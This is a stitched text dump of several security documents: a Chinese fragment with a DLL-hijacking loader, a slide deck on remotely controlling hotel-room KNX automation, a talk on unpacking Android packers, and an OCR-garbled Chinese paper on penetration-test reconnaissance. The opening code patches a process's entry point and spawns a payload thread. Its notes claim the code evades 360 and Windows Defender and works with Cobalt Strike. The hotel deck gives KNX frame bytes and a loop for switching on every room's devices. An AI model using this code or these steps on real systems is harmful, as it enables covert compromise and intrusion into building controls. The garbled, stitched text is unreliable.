77C71B75 ^ EB FC           jmp short 77C71B73 #include <windows.h> extern void test(); void dlljack(){    DWORD baseAddress = (DWORD)GetModuleHandleA(NULL);    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)baseAddress;    PIMAGE_NT_HEADERS32 ntHeader = (PIMAGE_NT_HEADERS32)(baseAddress + dosHeader->e_lfanew);    DWORD entryPoint = (DWORD)baseAddress + ntHeader- >OptionalHeader.AddressOfEntryPoint;    DWORD old;    BYTE shellcode[4] = { 0x50,0x58,0xEB,0xFC };    int size = 4;    VirtualProtect((LPVOID)entryPoint, size, PAGE_READWRITE, &old);    for (int i = 0; i < size; i++) {        *((PBYTE)entryPoint + i) = shellcode[i];   }    VirtualProtect((LPVOID)entryPoint, size, old, &old);    CreateThread(NULL, 0, test, NULL, 0, NULL); } 杀毒测试 简单改写后,360就不杀了,测试后cs也能正常使用。 白进程会一直驻留。 BOOL WINAPI DllMain(    HINSTANCE _hinstDLL,  // handle to DLL module    DWORD _fdwReason,     // reason for calling function    LPVOID _lpReserved)   // reserved {    switch (_fdwReason) {    case DLL_PROCESS_ATTACH:        //CreateThread(NULL, 0, test, NULL, 0, NULL);        dlljack();        break;    case DLL_PROCESS_DETACH:        // Perform any necessary cleanup.        break;    case DLL_THREAD_DETACH:        // Do thread-specific cleanup.        break;    case DLL_THREAD_ATTACH: // Do thread-specific initialization.        break;   }    return TRUE; // Successful. } windows defender 也能正常上线
pdf
LEARN HOW TO CONTROL EVERY ROOM AT A LUXURY HOTEL REMOTELY: THE DANGERS OF INSECURE HOME AUTOMATION DEPLOYMENT Jesus Molina @verifythentrust [email protected] HACKING IN MOVIES The Italian Job • Seth Green takes control of all kind of public transit so the mini-coopers can run free • “all  I did was come up with my own... kick ass algorithm to sneak in, and now we own the place” Jurassic Park • Electric fences go off, dinosaurs escape wrecking havoc. But the hacker teen fixes it later • “It’s  a  UNIX  system” Hack Hard • Cheap remake of Die Hard, but the hero is a hacker defeating the terrorists by taking over control of every appliance in a Chinese luxury hotel • “It’s  a  KNX  system!  Let  me   google  this” THE ST. REGIS SHENZHEN HOTEL IS HERE Hollywood movies vs. Art House movies • In Hollywood movies the hacker does all the job in a mere 5 sequences • In art house movies it takes a little longer. Step1: Reckon • The iPad uses the guest network Step1: Reckon • The hero needs to understand the protocol. Using ultra high tech technology intercepts communication between iPad and devices Step 2: Reverse Engineer the protocol • What is this? • UDP packets flying left and right • No idea, but connects to port 3671 Step 2: Reverse Engineer the protocol • Use advanced machine learning techniques to discover the communication protocol KNX INTERLUDE This is the part with frames of the hero reading his Kindle and researching the internets Step 2: Reverse Engineer the protocol • KNX! And a fancy plugin for wireshark • So what is KNX? • According  to  their  webpage,  KNX  is  “the  world´s only open Standard for the control in both commercial and  residential  buildings".  It  goes  on  by  saying  “KNX   is therefore future proof” • This communication protocol is KNX/IP, or KNX over IP KNX/IP frame Header Ethernet Header IP KNXnet/IP Header UDP Header Length Protocol Version Service Type Identifier Payload Total Length cEMI 06 10 04 20 00 15 04 49 00 00 11 00 bc e0 00 00 08 02 01 00 81 /* TUNNELLING_REQUEST */ /* Header (6 Bytes) */ treq[0] = 0x06; /* 06 - Header Length */ treq[1] = 0x10; /* 10 - KNXnet version (1.0) */ treq[2] = 0x04; /* 04 - hi-byte Service type descriptor (TUNNELLING_REQUEST) */ treq[3] = 0x20; /* 20 - lo-byte Service type descriptor (TUNNELLING_REQUEST) */ treq[4] = 0x00; /* 00 - hi-byte total length */ treq[5] = 0x15; /* 15 - lo-byte total lengt 21 bytes */ /* Connection Header (4 Bytes) */ treq[6] = 0x04; /* 04 - Structure length */ treq[7] = iChannelID & 0xff; /* given channel id */ treq[8] = 0x00; /* sequence counter, zero if you send one tunnelling request only at this session, otherwise count ++ */ treq[9] = 0x00; /* 00 - Reserved */ /* cEMI-Frame (11 Bytes) */ treq[10] = 0x11; /* message code, 11: Data Service transmitting */ treq[11] = 0x00; /* add. info length ( bytes) */ treq[12] = 0xbc; /* control byte */ treq[13] = 0xe0; /* DRL byte */ treq[14] = 0x00; /* hi-byte source individual address */ treq[15] = 0x00; /* lo-byte source (replace throw IP-Gateway) */ treq[16] = (destaddr >> 8) & 0xff; /* hi-byte destination address (20: group address) 4/0/0: (4*2048) + (0*256) + (0*1) = 8192 = 20 00 */ treq[17] = destaddr & 0xff; /* lo-Byte destination */ treq[18] = 0x01; /* 01 data byte following */ treq[19] = 0x00; /* tpdu */ treq[20] = 0x81; /* 81: switch on, 80: off */ A cEMI frame* to make a lightbulb go *According to http://www.eb-systeme.de/ Address Action KNX/IP Network • Addresses are in the format A/B/C • Every room accessed by an IP address • Every room has a unique KNX subnet A/B • The last digit (C) is the appliance address, identical for each room • If room 7773 is on subnet 1/5 and the TV adress is 30, the you need to send to addres 1/5/30 KNX/IP security This slide is intentionally left blank INTERLUDE ENDS Hero switches off his kindle. He understands the protocol and moves to the next step Step 3: Get the attack ingredients • An attacker only needs four elements • A tool to send the KNX/IP frames – Code the protocol or check the internet: eibd • A library of IP addresses for each KNX/IP router and corresponding room number – Change rooms or listen to other rooms • A library of KNX addresses for each room and for every device in the room – Press each button on the iPad app • A library of actions and action payload for each device – Press each button on the iPad app Step 3: Get the attack ingredients • Look for patterns using cutting edge technology Step 3: Get the attack ingredients • The KNX/IP addresses of every room were simple to guess. The KNX subnets for the rooms where simple too • The actions and device address in each room were identical • The DND lights and make up room light had another address space dedicated to them in each floor Step 4: Perform the attack Switching on every TV in the hotel For each [KNX_room, IP] For each [KNX_item,TV_action,TV_payload] KNXtunnel KNX_room/KNX_item TV_action TV_payload IP& DONE – be happy about it Step 5: External Attack • You  said  “Remotely” • Attacker must be on the hotel network (Open) • Several options – A  “repeater”  inside  or  outside  the  hotel:  Big   antenna and a bridge – iPad trojan: Use the iPad to connect to the internet periodically Mitigation and Solutions • iPad, network and KNX do not provide any security alternatives • A possible solution is to create a tunnel between iPad and router with mutual authentication • KNX released recently a new set of specification, but the closed nature of the protocol make it impossible to check it (for me) Aftermath • The hotel took the system off-line • Security researchers, leaders in the automation market and members of the hotel industry need to start conversations to provide guest with reasonable protection standards while enjoying home automation HARD HACK II • Guess where it will be located? Hint: The director like the Die Hard series
pdf
Unboxing Android Everything you wanted to know about Android packers Slava Makkaveev Avi Bashan Who Are We? @Avi Founder at myDRO, former Mobile R&D Team Leader at Check Point, security researcher at Lacoon Mobile Security. Experienced in OS Internal research, mobile security, Linux kernel. @Slava Senior Security Researcher at Check Point, former Security Researcher at Verint. Holds a Phd in Computer Science. Vast experience in mobile reverse engineering and Linux internals and malware analysis. “Boxing” Apps ● Malware authors use various “boxing” techniques to prevent ○ Static Code Analysis ○ Reverse Engineering ● This can be done by proprietary techniques or 3rd party software ● This Includes ○ Code Obfuscation ○ Anti Debugging ○ Anti Tampering ○ Anti Dumper ○ Anti Decompiler ○ Anti Runtime Injection Maliciousness of Packed Apps Analyzed 13,000 Apps (July 2017) Techniques to protect an app’s code ● Obfuscators ● Packers ● Protectors Apk Protection Techniques ● Obfuscators ● Packers ● Protectors Apk Protection Techniques pm.getClass().getMethod("getPackageSizeInfo", String.class, Class.forName("android.content.pm.IPackageStatsObserver")).invoke(pm, packInfo.packageName, new IPackageStatsObserver.Stub() { public void onGetStatsCompleted(PackageStats pStats, boolean succeeded) { } }); v6.getClass().getMethod("getPackageSizeInfo", String.class, Class.forName("android.a.a.a")).invoke(v6, ((PackageInfo)v0_5).packageName, new a() { public void a(PackageStats arg3, boolean arg4) { } }); ● Obfuscators ● Packers ● Protectors Apk Protection Techniques Original DEX ● Obfuscators ● Packers ● Protectors Packer Loader Encrypted DEX APK APK Packing process Apk Protection Techniques Packer Loader Encrypted DEX ● Obfuscators ● Packers ● Protectors Packer Loader Original DEX APK APK Execution Apk Protection Techniques ● Obfuscators ● Packers ● Protectors Apk Protection Techniques ● Obfuscators ● Packers ● Protectors Original DEX Encrypted Modified DEX APK APK Protection Process Protector Loader Apk Protection Techniques ● Obfuscators ● Packers ● Protectors Encrypted Modified DEX Modified DEX APK APK Execution Protector Loader Protector Loader Apk Protection Techniques Back to Basics! ART - Android RunTime VM Provided an Ahead of Time (AOT) compilation approach DEX to OAT ● Pre-compilation at install time ○ installation takes more time ○ more internal storage is required ● OAT vs JIT ○ Reduces startup time of applications ○ Improves battery performance ○ Uses less RAM DEX Loading Process Zygote process App process classes.dex OAT version of classes.dex fork() dex2oat Load app code ● App contains minimum one DEX file ● App can load other DEX files during execution ● Each DEX file will be compiled in OAT file ● Android Runtime executes OAT files ● Android Runtime checks DEX files checksum OAT - Ahead of Time File OAT is ELF ● Three special symbols in dynamic section ○ oatdata ○ oatexec ○ aotlastword ● Original DEX file is contained in the oatdata section ● Compiled native instructions are contained in the oatexec section How to unpack? Possible Approaches to Unpack an Android App ● Find the algorithm ● Extract DEX from compiled OAT ● Dump DEX from memory ● Runtime environment modification Notable Previous Work ● Android Hacker Protection Level 0 ○ Tim Strazzere and Jon Sawyer ○ DEFCON 22, 2014 ○ Released a set of unpacking scripts ● The Terminator to Android Hardening Services ○ Yueqian Zhang, Xiapu Luo , Haoyang Yin ○ HITCON, 2015 ○ Released DexHunter - modified version of Android Dalvik/ART VM Our Approach Goals ● What did want ○ Find a solution that ■ Require minimal changes to Android ■ Will work on most of the packers ● How did we do it? ○ Reversed most popular packers ○ Patched few code rows of Android Runtime Goals ● What did want ○ Find a solution that ■ Require minimal changes to Android ■ Will work on most of the packers ● How did we do it? ○ Reversed most popular packers ○ Patched few code rows of Android Runtime PROFIT Most popular packers encountered ● Baidu ● Bangcle ● Tencent ● Ali ● 360 Jiagu ● ... (and a few more) Analyzed Packers Abstract Packer Model Loader DEX libart.so libc.so open read mmap ... Load protected DEX Find a class Open DEX file Map data Original DEX Open DEX Read data Abstract Packer Model Loader DEX libart.so <protector>.so libc.so open read mmap ... Original DEX Load protected DEX Find a class Load native part Open DEX file Map data Hook calls Decrypt DEX Read data Bangcle - Classification Classes - ApplicationWrapper - FirstApplication - MyClassLoader - ACall Files - libsecse - libsecmain - libsecexe - libsecpreload - bangcle_classes (original dex) System.load("/data/data/" + getPackageName() + "/.cache/libsecexe.so"); Acall.getACall().a1(...); Acall.getACall().r1(...); Acall.getACall().r2(...); ... public class MyClassLoader extends DexClassLoader { ... } cl = new MyClassLoader("/data/data/" + getPackageName() + "/.cache/classes.jar", ...); realApplication = cl.loadClass(v0).newInstance(); Bangcle - Java Loader Implementation assets/libsecexe.so → /data/data/<pkg>/.cache/libsecexe.so assets/libsecmain.so → /data/data/<pkg>/.cache/libsecmain.so assets/libsecpreload.so → /data/data/<pkg>/.cache/libsecpreload.so assets/bangcle_classes.jar → /data/data/<pkg>/.cache/classes.jar Bangcle - Native Loader Implementation public class ACall { public native void a1(byte[] arg1, byte[] arg2); public native void at1(Application arg1, Context arg2); public native void at2(Application arg1, Context arg2); public native void c1(Object arg1, Object arg2); public native void c2(Object arg1, Object arg2); public native Object c3(Object arg1, Object arg2); public native void jniCheckRawDexAvailable(); public native boolean jniGetRawDexAvailable(); public native void r1(byte[] arg1, byte[] arg2); public native void r2(byte[] arg1, byte[] arg2, byte[] arg3); public native ClassLoader rc1(Context arg1); public native void s1(Object arg1, Object arg2, Object arg3); public native Object set1(Activity arg1, ClassLoader arg2); public native Object set2(Application arg1, ...); public native void set3(Application arg1); public native void set3(Object arg1, Object arg2); public native void set4(); public native void set5(ContentProvider arg1); public native void set8(); } Func Offset Func Offset a1 0x4638 set1 0xCFFC at1 0x8A44 set2 0x9BC8 at2 0x9184 set3 0x566C c1 0xF984 set3 0x8CE8 c2 0x103E8 set4 0x63B4 c3 0x12E48 set5 0x4AA0 r1 0x4938 set8 0x16828 r2 0xDE38 s1 0x126B4 jniCheckRawDexAvailable 0x4408 rc1 0xBFE4 jniGetRawDexAvailable 0x44A0 Java Interface Native Functions Mapping Bangcle - libsecexe.so Class: ELF32 Type: DYN (Shared object file) Machine: ARM Entry point address: 0x433c Start of program headers: 52 (bytes into file) Start of section headers: 92204 (bytes into file) Size of program headers: 32 (bytes) Number of program headers: 6 Size of section headers: 0 (bytes) Number of section headers: 0 Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align EXIDX 0x028584 0x00028584 0x00028584 0x00568 0x00568 R 0x4 LOAD 0x000000 0x00000000 0x00000000 0x131ec 0x131ec RE 0x8000 LOAD 0x018c1c 0x00030c1c 0x00030c1c 0x00520 0x01538 RW 0x8000 DYNAMIC 0x018c80 0x00030c80 0x00030c80 0x00108 0x00108 RW 0x4 GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4 GNU_RELRO 0x018c1c 0x00030c1c 0x00030c1c 0x003e4 0x003e4 R 0x1 Entry address points to compressed code (anti-debugging) Start of section table is out of file bounders No section table (anti-debugging) Exception Index Table is out of file bounders (IDA crash) Program headers: 0x0000000c (INIT) 0x125A9 0x00000019 (INIT_ARRAY) 0x30C1C ... Dynamic section: Real entry point Bangcle - libsecexe.so 0xf4 0x9d0 0x1cb0 0x3b79 0x43e0 0x125a9 0x13150 HASH SYMTAB STRTAB REL Compressed code TEXT (init code) 0x433c 0x12590 0x433c 0x4638 0x4938 0xde38 0xe050 0x28aec a1 r1 r2 JNI_OnLoad Copy code sections to an allocated buffer. Decompress 0x247b0 bytes to 0x433c Registration com.secneo.guard.ACall native methods: a1, r1, r2, ... Bangcle - Processes Extract ELF /data/data/<pkg>/.cache/<pkg> from apk (Assets) fork app process execl /data/data/<pkg>/.cache/<pkg> <pkg> -1114751212 1 /data/app/<pkg>/base.apk 34 <pkg> 43 44 0 fork pkg process (from libsecmain.so::so_main) anti-debugging thread fork pkg process if .cache/classes.dex (OAT) does not exist LD_PRELOAD=/data/data/<pkg>/.cache/libsecpreload.so LD_PRELOAD_ARGS=<pkg> 9 13 LD_PRELOAD_SECSO=/data/data/<pkg>/.cache/libsecmain.so execl /system/bin/dex2oat –zip-fd=9 –zip-location=/data/data/<pkg>/.cache/classes.jar –oat-fd=13 –oat-location=/data/data/<pkg>/.cache/classes.dex –instruction-set=arm Function a1 Function r2 Bangcle - libc.so hook libc func Offset libc func Offset munmap 0x15BD8 close 0x14FAC msync 0x15F88 __openat 0x14DA4 read 0x15118 pread64 0x162F8 __mmap2 0x15420 pwrite64 0x166DC __open 0x14B9C write 0x152FC Protection was changed Function r1 Bangcle - Summary ● Creates a stub in Java activity to load native library. ● Native library is protected with different anti research techniques. ● Native library hooks libc for handling the opening of the OAT file. Baidu - Classification Classes - StubApplication - StubProvider Files - libbaiduprotect - baiduprotect1 (original dex) Baidu - Native Loader Implementation public class A implements Enumeration { public static native byte B(int arg0, Object arg1, ...); public static native char C(int arg0, Object arg1, ...); public static native double D(int arg0, Object arg1, ...); public static native float F(int arg0, Object arg1, ...); public static native int I(int arg0, Object arg1, ...); public static native long J(int arg0, Object arg1, ...); public static native Object L(int arg0, Object arg1, ...); public static native short S(int arg0, Object arg1, ...); public static native void V(int arg0, Object arg1, ...); public static native boolean Z(int arg0, Object arg1, ...); public static native void a(); public static native void b(); public static native String[] c(); } Func Offset a 0x23459 b 0x2345d c 0x23461 V, Z, B, C, S, I, J, F, D, L 0x25861 Baidu - libbaiduprotect.so 0x1000 0x2e6d 0x2ea4 0x23459 0x2345d 0x23461 0x25861 0x3ca78 0x4286c JNI_OnLoad a b c V, Z, B, C, S, I, J, F, D, L TEXT (Entry point 1) Change self protection 0x2000 - 0x3d000 Decrypt code 0x2e6d - 0x3ca78 Change self protection 0x0 - 0x1000 Remove ELF header Baidu - JNI_OnLoad Anti-debugging Registration of native methods: a, b, c, … Extract packed DEX /Assets/baiduprotect1.jar to /data/data/<pkg>/.1/1.jar Create empty DEX file /data/data/<pkg>/.1/classes.jar Hook libart.so Create DexClassLoader(/data/data/<pkg>/.1/classes.jar) + Merge with main class loader by extending BaseDexClassLoader::pathList::dexElements Baidu - Anti-debugging ● Obfuscation ● Logs disabling ● For each /proc/ check that /proc/<pid>/cmdline does not contain gdb, gdbserver, android_server ● For each /proc/self/task check that /proc/self/task/<pid>/status does not contain TracerPid ● For each /proc/self/task check that /proc/self/task/<pid>/comm does not contain JDWP ● Check android.os.Debug.isDebuggerConnected ● select call (timer) based technique ● inotify watch (IN_ACCESS + IN_OPEN) of ○ /proc/self/mem ○ /proc/self/pagemap ○ For each /proc/self/task ■ /proc/self/task/<pid>/mem ■ /proc/self/task/<pid>/pagemap Baidu - libart.so hook libc func Libart hook Offset read 0x309BC8 0xA75C open 0x309BDC 0x8FAC close 0x309BE4 0x9168 mmap 0x309BE8 0x9474 strstr 0x309C58 0x8BD8 fork 0x309F3C 0x92DC waitpid 0x309F40 0xA5E4 execv 0x309F4C 0xA324 __android_log_print 0x309FAC 0xA750 Function __android_log_print No logs Function execv dex2oat hook: Add environment variable ANDROID_LOG_TAGS=*:f Prevent code compilation: add --compiler-filter=verify-none command line parameter Function open Decrypt /data/data/<pkg>/.1/1.jar in case of /data/data/<pkg>/.1/classes.jar file loading Baidu - Summary ● Creates a stub in Java activity to load native library. ● Native library is protected with different anti research techniques . ● Native library hooks libc for handling the opening of the DEX file. libc::open == decryption Bangle Baidu Filter by file path: /data/data/<pkg>/.cache/classes.dex /data/data/<pkg>/.1 /classes.jar Expect to see: OAT DEX Using the DEX Loading Process to Unpack Apps Where is first call of DEX/OAT file opening? OAT DEX dalvik.system.DexClassLoader::DexClassLoader dalvik.system.DexFile::DexFile DexFile::openDexFileNative DexFile_openDexFileNative ClassLinker::OpenDexFilesFromOat OatFileAssistant::MakeUpToDate OatFileAssistant::OatFileIsUpToDate OatFileAssistant::GetOatFile OatFile::Open OatFile::OpenElfFile → DexFile::DexFile OatFileAssistant::GivenOatFileIsUpToDate OatFileAssistant::GetRequiredDexChecksum DexFile::GetChecksum OpenAndReadMagic platform/art/runtime/dex_file.cc patch static int OpenAndReadMagic(const char* filename, uint32_t* magic, std::string* error_msg) { CHECK(magic != nullptr); ScopedFd fd(open(filename, O_RDONLY, 0)); … char* fn_out = new char[PATH_MAX]; strcpy(fn_out, filename); strcat(fn_out, "__unpacked"); int fd_out = open(fn_out, O_WRONLY|O_CREAT|O_EXCL, S_IRUSR|S_IWUSR|S_IRGRP|S_IROTH); struct stat st; if (!fstat(fd.get(), &st)) { char* addr = (char*)mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd.get(), 0); write(fd_out, addr, st.st_size); munmap(addr, st.st_size); } close(fd_out); delete fn_out; ... } DexFile::DexFile(const uint8_t* base, size_t size, const std::string& location, uint32_t location_checksum, MemMap* mem_map, const OatDexFile* oat_dex_file) : begin_(base), size_(size), ... { ... std::ofstream dst(location + "__unpacked", std::ios::binary); dst.write(reinterpret_cast<const char*>(base), size); dst.close(); ... } DEX OAT Demo Time! Tool can be found at - github.com/CheckPointSW/android_unpacker Questions?
pdf
渗 透 测试 之信 息搜 集 的 研 究 与 漏 洞 防 范   张 明 航 张卷美   (北京 电 子科 技学院 北京 1 0 00 70 )   ( 1 54 01 01 62 3@ q q.  com )   R e search and Vu lnerab i l i ty Preven tion of In forma t ion  Gat herin g in   P en et rat ion  Test   Zha ng  M ing du o a n d Zhan g J u anm ei   (Beij ing  Electron i c S cience & -  Technology In st i tute , Beij ing 1 0 00 70 )   A bstract P ene tra t ion  te st  do es  a thoro ug h se curity rev i ew for networ k s y s tem an d g iv es  the  advic e   o f v uln erab i l ity  o r i n ap p ro p r ia t e  c on fi g ura t i on by s i mu l at i ng re a l attac ks . As t he fi rs t s tag e of  l if e   cyc le  o f p en etra t io n t e st ,  the  ta s k of in fo rma t io n  col l ec tio n i s to col lec t de ta il e d in fo rma t io n , whi c h   de term ine s the  s uc ce ss of  a who le  penetrat io n test  to a lar ge  exte nt . Th i s p ape r s tud ie s the  various   m et hod s an d t e chno logy  i n t he i nf orma t i on  g a ther i ng  s ta g e ? p ut s the  too l s pr ovi de d by  K a l i L i nu x   in t o pr ac t i ce  > summ ar i es the  comm on  vu lnerab i l i ty  in th i s s t ag e an d p ro pos es  a compr ehens iv e   p re vent i ve  meas ur e i n the  e nd.   Key  w or ds p e ne t ra ti on  t e st ; i nf orm at i on  ga t he ri n g ; Ka l i  L inu x ; vul ne rab i li ty ;  p re ve nt i ve  me asu re   摘 要 渗透 测 试技术 通过模拟 真 实 的 攻 击 来对 网 络 系 统进行全 面 的 安 全 审 查 , 并给 出 漏 洞 或 不 恰   当 配 置 的修复 建议. 作为 整 个渗透 测 试 生命周 期 的 第 1 阶段 , 信 息 搜 集 的 任务 是尽 可能 多 地搜 集 到   有 关 目 标 的 详 细 信息 , 它 在很大程度上 决 定 了 一 次渗透 测 试 的 成 功 与 否 . 分 块研 究 了 信息 搜 集 阶段   中 所 用 到 的 各种方 法 与 技术 , 利 用 Ka l i  L inux 中 提供 的 工 具 进行 了 深入 的 实 战操作 , 最后 总 结 归 纳   了 本 阶段 中 常 见的 漏 洞 并提 出 了 较 为 完 善 的 防 范 措施 .   关键 词 渗透 测 试 ; 信 息 搜 集 ; K al i L inu x ; 漏 洞 ; 防 范 措施   中 图 法分类号 TP 3 0 1 . 4   渗 透测试 ( p e ne t ra ti on  te s t) [ 1 _2 ] 是 一 种 通过模 种安全业界 比 较流 行 的方法体系 标准 [ 3 ] . 各体 系   拟 恶意攻击者 的 技术与 方法 , 挫败 目 标系 统安全 标准之 间虽 略有 差异 , 但均 将 一个完整 的 渗 透测   控制 措施 , 取得访问 控制权 , 并发现具备业务影 响 试分为若干 个前后承接 、 互有关联 的 几个阶段 , 首   后果安全隐 患 的 一种 安全测 试与 评估方法 . 渗 透 当 其冲 的第 1 阶段便是对 目 标主 机或 系统相 关信   测试 目 前 已 经形成 较为 成熟 的 理论体 系 , 有 了 多 息 的搜集 .   收稿 日 期 : 2 0 1 6 02 1 9   基金项 目 : 国 家 自 然科学基 金项 目 ( 61 37 0 1 8 8 )   网址 h tt p : / /r s . s i c . g o v .cn | 2 1 1   信 息 安 全 研 究 第 2 卷 第 3 期 20 1 6 年 3 月   J o u r n a l  o f I n f o r m a t i o n  S ec u ri t y  R e s e a r c h V〇l . 2 N 〇. 3 M a r .  20 1 6   信息 搜集 阶 段 [ 4 5 ] 的 任 务 主 要是利 用 各 种 方  表 1 信息 搜集 中 有用 网 站    法与工具对已 选定的 目 标主机或 系 统进行全面 的  网 站地址 功能简介   f目息 搜集 , 以 获取 目 标的 网 络拓扑结构 、 系统 配置 ht tp : // s ea rchdns . net c raf t.  com/ 子域名 查询   与安 全防御措 施等足 够多 的 信息 , 为渗 透测试 下 ht tp : / / ww. s hoda nhq . cc im/ 大数据搜 索   一阶段漏洞分 析打下 良 好的 基础 . 此 阶 段要 搜集 ht t p : // bgp . he _ ne t/ IP 信息 扫 描   的信息主 要有 在 线 主 机 、 域名 信 息 、 邮箱地址 、 常 h t tp : / / bu ildw it h. com/ 网站 指纹信息   用密 码 、 同 网段信息 、 子域名信息 、 指纹信息 、 端 口 ht t p : / /wh oi s . china z. c om / Who is 査询   信息 、 文件信息等 . 为得到 这些 信息 所使用 的 搜集   方法包括搜 索 引 擎 、 社会工程学 和 一些基本 的 扫 除了 通 过浏 览 器访 问 网 站进 行信 息 的 搜 索   描工具等 . 外 ,还可 以通过 一些社交搜索 工具 (如 creepy ) 和信   Ka l i L in u x [6 _7 ] 是 一个高级渗透测试 和安 全审 息搜索工具 (如 th eHar veste r 和 Re con -NG ) 来直接   计 的 L inu x 发 行 版 , 其 中 集 成 了 诸 如 M et as - 进行信息 的搜集 . 其 中 , t heHarves t er 借鉴 了  Goog le   p l o i t [8 _ 9 ] , Wi re Sh a rk , Nmap 等数百 个强 大 的 渗 透 Ha c k 的思 路 , 通过搜索 引 擎 、 PGP 服务 器及 s ho -   测试工具 , 形成 了 完整的渗 透测 试体 系 , 是最为 成 dan 数据库等来收集 em a i l 、 子域名 、 开放端 口 等信   熟和知名 度最 高 的 渗 透测 试系 统 . 本文 中 所用 到 息 . R ec on -NG 是 一个模块化 的信 息搜 索 工具 , 它   的工具都来 自 于 Ka l i 2 .  0 版本 . 可 以搜索 网站上 的 一些敏感文件如 rob ots ,  t xt 等 .   总 的 来 说 , G oo g l e  H a ck 及相关工具利用 互联   1 信息搜集技术研究 网来搜集 一 些 敏感信息 , 进而 由 这些信息 为 入 口   进行定点攻击 , 欲 防范 此类 攻击应避免在 互联 网   信息 搜集 阶段需 要搜 集 的 信息 数 目 庞大 、 种 上 暴露过多 的信息 .   类繁多 , 为 了使信息搜集更加 高 效和 系统化 , 又 将 1 . 2 目 标获 取   此阶段细 分为 几个小 的 部 分 , 包括 Go og l e Ha ck 、 目 标获 取主要包括域名解析和 子域名 枚举 .   目 标获取 、 主机探测 、 主机扫 描 、 指 纹识别 、 协议分 域名解析是指利 用 d ig 和 n sl o ok up 等 工具来   析等 . 这几个部分将要 搜集 的 信息 系统 化地规整 解析 网址对应 的 域名 服务器 , 包括 A 记 录 、 NS 记   起来 , 使信息搜集更加 全面高 效 . 录 XNAME 记录 、 MX 记录 和 S0A 记 录等 . 通过   1 . 1 Goog le Hac k 域名 解析可 以 得到 网 站 的 DNS 服务 器 地址 、 别   从字面意 义上来看 , “ Go og l e H ack ” 即 为 谷歌 名 、 邮件服务器地址等信息 , 如 果信息 足 够多则 可   人侵 . 实 际上 它 就是利 用 Goog l e 等搜 集 引 擎对 一 能绘制 出 域名分布图 从而暴露整个网站部署架构 .   些特定的 网 络主 机漏 洞 进行搜索 , 以 达 到 快速 找 子域名枚举 工具通过逐个枚举 DNS 服务器   到存在某个漏 洞 的 主机或 者主机 中 存在 的 特定漏 的 方式来检测 是否 存在 区域传送漏洞 , 若都不存   洞 的 目 标 . 利 用 常见 的 G oog l e H ac k 语 句 即 可 快 在则进行暴力 枚举二级域名 信息 , 其意 在得到 详   速找 到 目 标的很 多信 息 和 可 能 存在 的 漏洞 . 然 而 细 的 内 部 网 络架构 . 现有 K al i 系 统 中 的 fi er ce 和   由 于 G oog l e 在 中 国 市 场 的 退 出 , 狭 义 上 的 d n sen um 等工具扫 描效率很高 , 若 DNS 服务器配   “G oog l e H a ck ”在 国 内 已 经不再那 么有效了 . 置不 当 导致存在 区域传送漏 洞 , 会 很容易 被检测   在此可 以 将 Goo g l e  Ha ck 的 概 念扩大化 , 将 出来而受到攻击 .   通过互联 网 网 站 、 社交搜集 工 具 和集成 的 信 息 搜 1. 3 主机探测   集 工具等 手段 纳入 此部 分 , 形成 一个综合 的 利 用 主机探测 的 目 标是识别 目 标主机是否 在线 或   网 络进行信息搜集的工具集 . 可 用 , 只有存活 的主机才具有入侵 的可能 性 , 离线   在通 过互联 网 网 站 搜集信 息 方面 , 当 前存 在 主机在 网 络渗 透 中 是无意 义 的 , 以 此来 确 定攻击   一些很有 用 的 网 站 可 以 很 便捷地 查找 到 关键 信 目 标 . 由 于 网 站安 全的 重要性 , 很多 网 站 都装备 了   息 , 如 表 1 所示 ? 通过表 1 中所列 网 站进行搜索 可 人侵检测系统 ( int rus ion  d et e ct i on  sy s t em s , IDS ) 、   以 得到某些有 效 的敏感信息 . 入侵保护系统 ( i n t ru si on  p re ven t i on sy st em , IP S )   2 12 |   ?> . . .   和 网 站 应 用 级 人 侵 防 御 系 统 ( We b app l i ca t i on 3 ) TCP F IN 扫 描 : 最 隐蔽 的 扫 描 方式 , 原理   f i rewa l l ,  WAF ) 等 防御 系 统 , 所 以 此部 分将 对保 是有些 系 统关闭 的 端 口 会用 适 当 的 R ST 来 回 复   护措施的检测 作为支撑条件 . FIN 数据包 .   对于 网站 保护措施 的 检测 现有 的工具主要有 在 主机扫 描 中 最常 用 的 工具是被称为 “扫 描   wa fwO O f 和 l b d. wa fwO O f 是 一 个 WAF 的 探查 工 神 器 ”的 Nma p , 它是主机扫 描的集大成者 , 支持主   具 , 它通 过故 意提交 一 个肯定在黑名 单中 的请求 , 机探测 、 端 口 扫描 、 版本检测 、 系统检测等众多功能.   将返 回结果与 正确 请求 的 返 回结果 进行 比较来探 1. 5 指纹 识别   测 网 站是否存 在 WA F. l b d 工具用 来探测 网 站是 此阶段 的 目 标是识别 主机 的 操作系 统版本 与   否存在 DNS 负 载 均衡 , 若 网 站无 负 载 均衡 , 会容 应用程序版本 , 进 一 步探测 操作系 统与 应用 级别   易 受到 DDO S 攻击而导 致网 站瘫痪 . 的 漏洞 , 分为 主 动 探测 、 被动 识别 和 W eb 指 纹识   对于 主机 的探测 分为 外 网 和 内 网 2 个部 分. 别 3 个部分 .   X才外 网 主机 的 探测 来说 , 最基本最 简捷 的 方式就 主动探 测 包括 Ba nn er 抓 取和 利 用 Nm ap 进   是被广泛应用 的 p i n g 命令 , 即 通过发送 I CMP 包 行常规主动 指纹识别 . Ban ner 抓取是最基础 、 最简   来探测 主机的存活 情况 . 现有 的 fp i n g 和 n et e num 单的指 纹识别 , 它不需要专 门 的 工具 , 所得到 的信   等工具就是通过这种 方式来批量测 试存 活 主 机 . 息准确 可靠 , 抓取到 的 信 息 是 网 站 的应用 程序指   值得注意 的是 , 有些主 机为 提高 安 全性会过滤 1C - 纹信息 . 其 缺 点 是 如 果 网 站 修 改或 者禁 止 输 出   MP 包 ,这就需要另 外的方式来探测其在线情况 ? Ba nne r 信息 ,则 此手段便失去作用 .   对于 内 网 主 机来说 , 扫 描工 具通 常基 于 a rp 被动识别工具有 代表性 的 是 P 〇 f . 作为 一个 系   协议 , 如 ARP i ng. 通过 a rp 协 议可 以 探测 内 网 主 统指纹识别 工具 , 它不 向 目 标发送 具体 的 探测 数   机 的 IP 地址 、 MAC 地址等信息 . 作为 其 中 的 一个 据 , 只是被动地接收数据并进行分析 , 所 以几 乎无   代表性工具 , Ne t di sc ove i ? 可 以 检测 到 当 前局 域 网 法被检测到 . 它抓取到 